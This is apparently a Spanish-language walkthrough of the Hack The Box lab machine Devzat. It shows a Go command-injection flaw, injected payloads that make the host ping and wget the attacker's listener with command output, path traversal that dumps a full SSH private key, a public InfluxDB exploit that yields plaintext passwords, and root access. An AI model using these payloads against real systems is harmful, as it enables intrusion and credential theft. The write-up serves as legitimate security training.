Devzat está basada en el sistema de chat vía SSH Devzat
. En ella encontraremos puntos básicos como enumeración de subdominios, Local File Inclusion, Inyección de comandos, así como Directory Path Traversal y el uso de exploits públicos para realizar movimiento lateral entre los usuarios. Es un sistema linux interesante, ya que deja totalmente de lado el Guessing, para centrarnos en que buscar en un sistema a la hora de comprometer el mismo.
Detalles del Sistema
Nombre del Sistema | ==> | Devzat |
---|---|---|
Fecha Publicación | ==> | Octubre 16, 2021 |
Fecha Retiro | ==> | Marzo 12, 2022 |
OS | ==> | Linux |
Nivel | ==> | Medium |
Rating | ==> | 4.6 / 5 |
Creador | ==> |
Enumeración Inicial
Escaneo de NMap:
# Nmap 7.92 scan initiated Fri Mar 11 14:26:35 2022 as: nmap -sC -sV -T5 -p- --max-retries=1 -vvv -o scan-tcp.nmap 10.129.136.180
Warning: 10.129.136.180 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.129.136.180
Host is up, received syn-ack (0.063s latency).
Scanned at 2022-03-11 14:26:36 EST for 228s
Not shown: 64597 closed tcp ports (conn-refused), 935 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNaY36GNxswLsvQjgdNt0oBgiJp/OExsv55LjY72WFW03eiJrOY5hbm5AjjyePPTm2N9HO7uK230THXoGWOXhrlzT3nU/g/DkQyDcFZioiE7M2eRIK2m4egM5SYGcKvXDtQqSK86ex4I31Nq6m9EVpVWphbLfvaWjRmIgOlURo+P76WgjzZzKws42mag2zIrn5oP+ODhOW/3ta289/EMYS6phUbBd0KJIWm9ciNfKA2D7kklnuUP1ZRBe2DbSvd2HV5spoLQKmtY37JEX7aYdETjDUHvTqgkWsVCZAa5qNswPEV7zFlAJTgtW8tZsjW86Q0H49M5dUPra4BEXfZ0/idJy+jpMkbfj6+VjlsvaxxvNUEVrbPBXe9SlbeXdrNla5nenpbwtWNhckUlsEZjlpv8VnHqXt99s1mfHJkgO+yF09gvVPVdglDSqMAla8d2rfaVD68RfoGQc10Af6xiohSOA8LIa0f4Yaw+PjLlcylF5APDnSjtQvHm8TnQyRaVM=
| 256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCenH4vaESizD5ZgkV+1Yo3MJH9MfmUdKhvU+2Z2ShSSWjp1AfRmK/U/rYaFOoeKFIjo1P4s8fz3eXr3Pzk/X80=
| 256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKTxLGFW04ssWG0kheQptJmR5sHKtPI2G+zh4FVF0pBm
80/tcp open http syn-ack Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://devzat.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open ssh syn-ack (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go
| ssh-hostkey:
| 3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTPm8Ze7iuUlabZ99t6SWJTw3spK5GP21qE/f7FOT/P+crNvZQKLuSHughKWgZH7Tku7Nmu/WxhZwVUFDpkiDG1mSPeK6uyGpuTmncComFvD3CaldFrZCNxbQ/BbWeyNVpF9szeVTwfdgY5PNoQFQ0reSwtenV6atEA5WfrZzhSZXWuWEn+7HB9C6w1aaqikPQDQSxRArcLZY5cgjNy34ZMk7MLaWciK99/xEYuNEAbR1v0/8ItVv5pyD8QMFD+s2NwHk6eJ3hqks2F5VJeqIZL2gXvBmgvQJ8fBLb0pBN6xa1xkOAPpQkrBL0pEEqKFQsdJaIzDpCBGmEL0E/DfO6Dsyq+dmcFstxwfvNO84OmoD2UArb/PxZPaOowjE47GRHl68cDIi3ULKjKoMg2QD7zrayfc7KXP8qEO0j5Xws0nXMll6VO9Gun6k9yaXkEvrFjfLucqIErd7eLtRvDFwcfw0VdflSdmfEz/NkV8kFpXm7iopTKdcwNcqjNnS1TIs=
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.92%I=7%D=3/11%Time=622BA330%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 11 14:30:24 2022 -- 1 IP address (1 host up) scanned in 229.30 seconds
Servicio Web
Enumeración de Subdominios
Partiendo desde el punto de que existe un dominio al que somos redireccionados a la hora ingresar al puerto 80, procedemos a revisar si existe otro dominio. En el cual encontramos el subdominio pets.devzat.htb
.
$ wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u 10.129.136.180 -H "Host: FUZZ.devzat.htb" -t 100 --hc 302,400 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.136.180/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000003745: 200 20 L 35 W 510 Ch "pets"
Total time: 0
Processed Requests: 114441
Filtered Requests: 114440
Requests/sec.: 0
devzat.htb
Volviendo a la página principal, nos encontramos una invitación interesante a unirnos a un grupo de chat a través de ssh, el cual está ejecutándose a traves de una aplicacion de nombre devzat en el puerto 8000.
Más hacia abajo podemos encontrar el primer usuario, de nombre patrick.
Recorremos una lista de directorios para verificar si algún directorio interesante aparece dentro del dominio devzat.htb
pero no obtuvimos ningún directorio de interés en el mismo.
$ wfuzz -u devzat.htb/FUZZ/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 100 --hc 404 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://devzat.htb/FUZZ/
Total requests: 62283
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000139: 403 9 L 28 W 275 Ch "javascript"
000000386: 403 9 L 28 W 275 Ch "icons"
000000002: 200 22 L 116 W 2123 Ch "images"
000000084: 200 19 L 93 W 1501 Ch "assets"
000004227: 403 9 L 28 W 275 Ch "server-status"
000004255: 200 191 L 623 W 6527 Ch "http://devzat.htb//"
000030014: 200 191 L 623 W 6527 Ch "http://devzat.htb//"
000059103: 200 191 L 623 W 6527 Ch "http://devzat.htb//"
Total time: 0
Processed Requests: 62206
Filtered Requests: 62198
Requests/sec.: 0
Servicio Devzat
Al percatarnos de que podíamos acceder al servicio de Devzat sin necesitar credenciales, el primer intento fue ingresar con el usuario patrick
, pero dicho usuario solo puede acceder de forma local, por lo tanto. Hasta no tener una forma de acceder localmente, no tenemos acceso al servicio devzat como este. En ese punto, es hora de revisar el subdominio pets.devzat.htb
.
Subdominio pets.devzat.htb
Al ingresar al subdominio pets.devzat.htb
nos encontramos con un inventario de mascotas, en el cual podemos tanto agregar como eliminar mascotas.
Al ingresar una mascota en el formulario, se envía un POST a una API para ingresar la nueva mascota.
POST para ingresar nueva mascota:
POST /api/pet HTTP/1.1
Host: pets.devzat.htb
Content-Length: 35
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://pets.devzat.htb
Referer: http://pets.devzat.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"name":"Rocko","species":"gopher"}
Respuesta al ingresar mascota:
HTTP/1.1 200 OK
Date: Sat, 12 Mar 2022 02:17:41 GMT
Server: My genious go pet server
Content-Length: 26
Content-Type: text/plain; charset=utf-8
Connection: close
Pet was added successfully
Luego de ingresar la mascota, vuelve a recargar la pagina, haciendo una solicitud de las mascotas que están en el api. Encontrando en la misma, la mascota que agregamos al inventario
...
{"name":"Rocko","species":"gopher","characteristics":"Gophers use their long teeth to help build tunnels – to cut roots, loosen rocks and push soil away. Gophers have pouches in their cheeks that they use to carry food, hence the term “pocket” gopher. Gophers are generally solitary creatures that prefer to live alone except for brief mating periods."}
...
En este punto hubo varias teorías, descartando desde el inicio el XSS debido a que podría utilizarse para capturar un cookie y conseguir una sesión, pero no era vulnerable al mismo. De la misma forma se realizaron pruebas fallidas de SQL Injection, terminando en el punto de localizar posibles directorios o archivos que no estuviesen a simple vista en el subdominio pets.devzat.htb
. De esta forma nos encontramos con el directorio .git
dentro de la raíz del mismo.
$ wfuzz -u pets.devzat.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -t 100 --hc 404 --hl 20 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://pets.devzat.htb/FUZZ
Total requests: 37050
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001935: 301 2 L 3 W 41 Ch ".git"
000025420: 200 20 L 35 W 510 Ch "directory e.g."
Total time: 57.83836
Processed Requests: 37050
Filtered Requests: 37049
Requests/sec.: 640.5782
Al ingresar en dicho directorio nos encontramos con la arquitectura de un repositorio de git.
$ curl pets.devzat.htb/.git/
<pre>
<a href="COMMIT_EDITMSG">COMMIT_EDITMSG</a>
<a href="HEAD">HEAD</a>
<a href="branches/">branches/</a>
<a href="config">config</a>
<a href="description">description</a>
<a href="hooks/">hooks/</a>
<a href="index">index</a>
<a href="info/">info/</a>
<a href="logs/">logs/</a>
<a href="objects/">objects/</a>
<a href="refs/">refs/</a>
</pre>
Acceso Inicial
Para poder realizar un análisis más detallado del repositorio, procedemos a descargarlo con ayuda de wget a través del comando wget --mirror -I .git http://pets.devzat.htb
, y de esta forma seremos capaces de realizar un checkout con git, a través del comando git checkout -- .
. Obteniendo de esta forma el contenido del sitio web y la API que está contenida en pets.devzat.htb
. Ya de esta forma, podremos ver como funciona el portal y las solicitudes en el mismo.
El primer factor que podemos notar es que las características no son escritas desde una base de datos, sino desde archivos de texto colocados en una ruta.
$ ls -ltr characteristics
total 6872
-rw-r--r-- 1 lordrna lordrna 303 Mar 11 21:36 gopher
-rw-r--r-- 1 lordrna lordrna 240 Mar 11 21:36 giraffe
-rw-r--r-- 1 lordrna lordrna 100 Mar 11 21:36 dog
-rw-r--r-- 1 lordrna lordrna 190 Mar 11 21:36 cat
-rw-r--r-- 1 lordrna lordrna 175 Mar 11 21:36 bluewhale
-rw-r--r-- 1 lordrna lordrna 344 Mar 11 21:36 redkite
-rwxr-xr-x 1 lordrna lordrna 7012208 Mar 11 21:36 petshop
Ya en este punto, podemos deducir que las características de alguna forma están siendo leídas para ser devueltas a través del API. Así que tras una corta búsqueda dentro del archivo main.go
nos encontramos una función que es la encargada de leer las características de las especies, pero las realiza de una forma insegura.
func loadCharacter(species string) string {
cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
stdoutStderr, err := cmd.CombinedOutput()
if err != nil {
return err.Error()
}
return string(stdoutStderr)
}
Partiendo del funcionamiento de esta función, ya podemos deducir cómo inyectar código en el contexto del usuario que está ejecutando la aplicación.
Para iniciar las pruebas, procedemos a inyectar un ping hacia nuestra ip.
POST solicitando el ping hacia nuestra IP:
POST /api/pet HTTP/1.1
Host: pets.devzat.htb
Content-Length: 59
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://pets.devzat.htb
Referer: http://pets.devzat.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"name":"Rocko","species":"gopher; ping -c 4 10.10.14.121"}
Ping capturado a través de tcpdump:
$ sudo tcpdump -envi tun0 icmp
tcpdump: listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
21:54:48.210007 ip: (tos 0x0, ttl 63, id 54241, offset 0, flags [DF], proto ICMP (1), length 84)
10.129.136.180 > 10.10.14.121: ICMP echo request, id 2, seq 1, length 64
21:54:48.210043 ip: (tos 0x0, ttl 64, id 23983, offset 0, flags [none], proto ICMP (1), length 84)
10.10.14.121 > 10.129.136.180: ICMP echo reply, id 2, seq 1, length 64
21:54:49.211291 ip: (tos 0x0, ttl 63, id 54339, offset 0, flags [DF], proto ICMP (1), length 84)
10.129.136.180 > 10.10.14.121: ICMP echo request, id 2, seq 2, length 64
21:54:49.211321 ip: (tos 0x0, ttl 64, id 24132, offset 0, flags [none], proto ICMP (1), length 84)
10.10.14.121 > 10.129.136.180: ICMP echo reply, id 2, seq 2, length 64
21:54:50.212645 ip: (tos 0x0, ttl 63, id 54340, offset 0, flags [DF], proto ICMP (1), length 84)
10.129.136.180 > 10.10.14.121: ICMP echo request, id 2, seq 3, length 64
21:54:50.212674 ip: (tos 0x0, ttl 64, id 24302, offset 0, flags [none], proto ICMP (1), length 84)
10.10.14.121 > 10.129.136.180: ICMP echo reply, id 2, seq 3, length 64
21:54:51.215382 ip: (tos 0x0, ttl 63, id 54578, offset 0, flags [DF], proto ICMP (1), length 84)
10.129.136.180 > 10.10.14.121: ICMP echo request, id 2, seq 4, length 64
21:54:51.215411 ip: (tos 0x0, ttl 64, id 24393, offset 0, flags [none], proto ICMP (1), length 84)
10.10.14.121 > 10.129.136.180: ICMP echo reply, id 2, seq 4, length 64
Ya en este punto, podemos validar que la web contenida en pets.devzat.htb
es vulnerable a Command Injection
. Así que procedemos a extraer el usuario sobre el cual está siendo ejecutada la aplicación.
POST para exfiltrar el nombre del usuario que ejecuta la aplicación:
POST /api/pet HTTP/1.1
Host: pets.devzat.htb
Content-Length: 75
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://pets.devzat.htb
Referer: http://pets.devzat.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"name":"Rocko","species":"gopher; wget http://10.10.14.121/`whoami` -O -"}
Respuesta con el nombre de usuario que ejecuta la aplicación:
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.136.180 - - [11/Mar/2022 22:02:26] code 404, message File not found
10.129.136.180 - - [11/Mar/2022 22:02:26] "GET /patrick HTTP/1.1" 404 -
Sabiendo que el usuario es patrick, podemos exfiltrar su llave para acceder via SSH. Para esto abusaremos la funcionalidad para colocar las características, y así colocar la llave como el resultado de la misma.
POST alterando la característica para realizar un Local File Inclusion:
POST /api/pet HTTP/1.1
Host: pets.devzat.htb
Content-Length: 78
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://pets.devzat.htb
Referer: http://pets.devzat.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"name":"id_rsa","species":"../../../../../../../../home/patrick/.ssh/id_rsa"}
Respuesta con la llave para conectarse al usuario Patrick vía SSH:
...
{"name":"id_rsa","species":"../../../../../../../../home/patrick/.ssh/id_rsa","characteristics":"-----BEGIN OPENSSH PRIVATE KEY-----\n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\n-----END OPENSSH PRIVATE KEY-----\n"}
...
Ya en este punto tenemos acceso al servicio devzat como patrick
y acceso a una shell vía SSH a través del mismo usuario.
Al tratar de leer la flag de usuario contenida en user.txt
, nos damos cuenta que existe un segundo usuario de nombre catherine
y que el usuario patrick no tiene permisos para acceder al contenido del mismo
patrick@devzat:~$ ls -l
total 12
drwxr-x--- 2 patrick patrick 4096 Sep 23 15:07 devzat
drwxrwxr-x 3 patrick patrick 4096 Jun 22 2021 go
drwxrwx--- 5 patrick patrick 4096 Jun 23 2021 pets
patrick@devzat:~$ cd ..
patrick@devzat:/home$ ls -l
total 8
drwxr-xr-x 4 catherine catherine 4096 Sep 21 19:35 catherine
drwxr-xr-x 9 patrick patrick 4096 Sep 24 14:57 patrick
patrick@devzat:/home$ cd catherine
patrick@devzat:/home/catherine$ ls -l
total 4
-r-------- 1 catherine catherine 33 Mar 11 16:42 user.txt
Movimiento Lateral
Al inicio, cuando tratamos de ingresar a devzat utilizando el usuario patrick
, obtuvimos un mensaje alertandonos que el usuario patrick solo podía acceder a devzat de forma local, por lo tanto, procedemos a acceder al servicio desde el servicio ssh recientemente adquirido.
En este podemos ver que existe un servicio de influxdb
instalado para patrick en el ambiente. Dicho servicio no está en el escaneo inicial, por lo tanto, es un servicio interno, al cual deberemos acceder haciendo un Local Forwarding.
Local Forwarding realizado al puerto local 8086:
ssh> L 8086:127.0.0.1:8086
Forwarding port.
A través del encabezado de InfluxDB podemos identificar la versión actual del servicio, para facilitar la búsqueda de vulnerabilidades.
InfluxDB 1.7.5 identificado a través de un Custom Header:
$ curl -I 127.0.0.1:8086
HTTP/1.1 404 Not Found
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
X-Influxdb-Build: OSS
X-Influxdb-Version: 1.7.5
Date: Sat, 12 Mar 2022 03:37:42 GMT
Content-Length: 19
Dicha version de InfluxDB es vulnerable a Authentication Bypass, al igual que contiene un exploit publico, el cual retorna una shell para el consumo de la base de datos CVE-2019-20933.
$ python3 __main__.py
_____ __ _ _____ ____ ______ _ _ _
|_ _| / _| | | __ \| _ \ | ____| | | (_) |
| | _ __ | |_| |_ ___ __ | | | |_) | | |__ __ ___ __ | | ___ _| |_
| | | '_ \| _| | | | \ \/ / | | | _ < | __| \ \/ / '_ \| |/ _ \| | __|
_| |_| | | | | | | |_| |> <| |__| | |_) | | |____ > <| |_) | | (_) | | |_
|_____|_| |_|_| |_|\__,_/_/\_\_____/|____/ |______/_/\_\ .__/|_|\___/|_|\__|
| |
|_|
- using CVE-2019-20933
Host (default: localhost):
Port (default: 8086):
Username <OR> path to username file (default: users.txt):
Bruteforcing usernames ...
[v] admin
Host vulnerable !!!
Databases:
1) devzat
2) _internal
.quit to exit
[[email protected]] Database: 1
Después de seleccionar la base de datos, procedemos a listar los measurements
de la base de datos:
Measurements en devzat:
[[email protected]/devzat] $ show measurements
{
"results": [
{
"series": [
{
"columns": [
"name"
],
"name": "measurements",
"values": [
[
"user"
]
]
}
],
"statement_id": 0
}
]
}
En este punto, nos encontramos con el measurement user
, el cual contiene usuarios y contraseñas, incluyendo las del usuario catherine
Usuarios en devzat:
[[email protected]/devzat] $ select * from "user"
{
"results": [
{
"series": [
{
"columns": [
"time",
"enabled",
"password",
"username"
],
"name": "user",
"values": [
[
"2021-06-22T20:04:16.313965493Z",
false,
"WillyWonka2021",
"wilhelm"
],
[
"2021-06-22T20:04:16.320782034Z",
true,
"woBeeYareedahc7Oogeephies7Aiseci",
"catherine"
],
[
"2021-06-22T20:04:16.996682002Z",
true,
"RoyalQueenBee$",
"charles"
]
]
}
],
"statement_id": 0
}
]
}
Ya con acceso al usuario catherine
, podemos acceder al archivo user.txt
, comprometiendo así el sistema a nivel de usuario
Validación de lectura de user.txt:
catherine@devzat:~$ wc -c user.txt
33 user.txt
Escalación de Privilegios
Ya con el usuario catherine
procedemos a acceder a devzat, de la misma forma que hicimos con patrick, encontrandonos una informacion muy importante en el mismo:
En el path /var/backups
hay dos zips, correspondientes a devzat-main.zip
y devzat-dev.zip
$ ls -ltr /var/backups/
total 132
-rw-r--r-- 1 root root 6602 Jul 16 2021 apt.extended_states.2.gz
-rw------- 1 catherine catherine 27567 Jul 16 2021 devzat-main.zip
-rw------- 1 catherine catherine 28297 Jul 16 2021 devzat-dev.zip
-rw-r--r-- 1 root root 6588 Sep 21 20:17 apt.extended_states.1.gz
-rw-r--r-- 1 root root 59142 Sep 28 18:45 apt.extended_states.0
Buscando las diferencias entre ambos, descomprimimos y a través del comentario diff, nos encontramos con unas credenciales
$ diff dev main
diff dev/allusers.json main/allusers.json
1c1,3
< {}
---
> {
> "eff8e7ca506627fe15dda5e0e512fcaad70b6d520f37cc76597fdb4f2d83a1a3": "\u001b[38;5;214mtest\u001b[39m"
> }
diff dev/commands.go main/commands.go
4d3
< "bufio"
6,7d4
< "os"
< "path/filepath"
40d36
< file = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}
42,101c38
< commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode, file}
< }
<
< func fileCommand(u *user, args []string) {
< if len(args) < 1 {
< u.system("Please provide file to print and the password")
< return
< }
<
< if len(args) < 2 {
< u.system("You need to provide the correct password to use this function")
< return
< }
<
< path := args[0]
< pass := args[1]
<
< // Check my secure password
< if pass != "CeilingCatStillAThingIn2021?" {
< u.system("You did provide the wrong password")
< return
< }
<
< // Get CWD
< cwd, err := os.Getwd()
< if err != nil {
< u.system(err.Error())
< }
<
< // Construct path to print
< printPath := filepath.Join(cwd, path)
<
< // Check if file exists
< if _, err := os.Stat(printPath); err == nil {
< // exists, print
< file, err := os.Open(printPath)
< if err != nil {
< u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))
< return
< }
< defer file.Close()
<
< scanner := bufio.NewScanner(file)
< for scanner.Scan() {
< u.system(scanner.Text())
< }
<
< if err := scanner.Err(); err != nil {
< u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))
< }
<
< return
<
< } else if os.IsNotExist(err) {
< // does not exist, print error
< u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))
< return
< }
< // bokred?
< u.system("Something went badly wrong.")
---
> commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode}
diff dev/devchat.go main/devchat.go
27c27
< port = 8443
---
> port = 8000
114c114
< fmt.Sprintf("127.0.0.1:%d", port),
---
> fmt.Sprintf(":%d", port),
Only in dev: testfile.txt
Realizamos una conexión desde el usuario catherine
al servicio devzat que se encuentra en el puerto local 8443 y nos encontramos relativamente la misma conversación entre los usuarios patrick
y catherine
. En esta, patrick la invita a probar una nueva funcionalidad, para la cual necesitará las credenciales que se pueden encontrar en el diff entre main y dev.
Revisando las nuevas funcionalidades en devzat, nos encontramos una función que está en fase alpha, llamada /file
, la cual permite leer archivos dentro del sistema.
Al intentar utilizarlo, nos pide unas credenciales, las cuales, según la conversación entre los usuarios, fue la encontrada en el diff, con lo cual, extraemos la llave para conectarnos vía SSH del usuario root
.
Validando de esta forma, que el sistema ha sido totalmente comprometido
$ ssh [email protected] -i ./id_rsa
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 12 Mar 2022 04:19:22 AM UTC
System load: 0.0
Usage of /: 56.5% of 7.81GB
Memory usage: 25%
Swap usage: 0%
Processes: 245
Users logged in: 1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.129.136.180
IPv6 address for eth0: dead:beef::250:56ff:feb9:5986
107 updates can be applied immediately.
33 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Jan 26 16:26:44 2022
root@devzat:~# wc -c root.txt
33 root.txt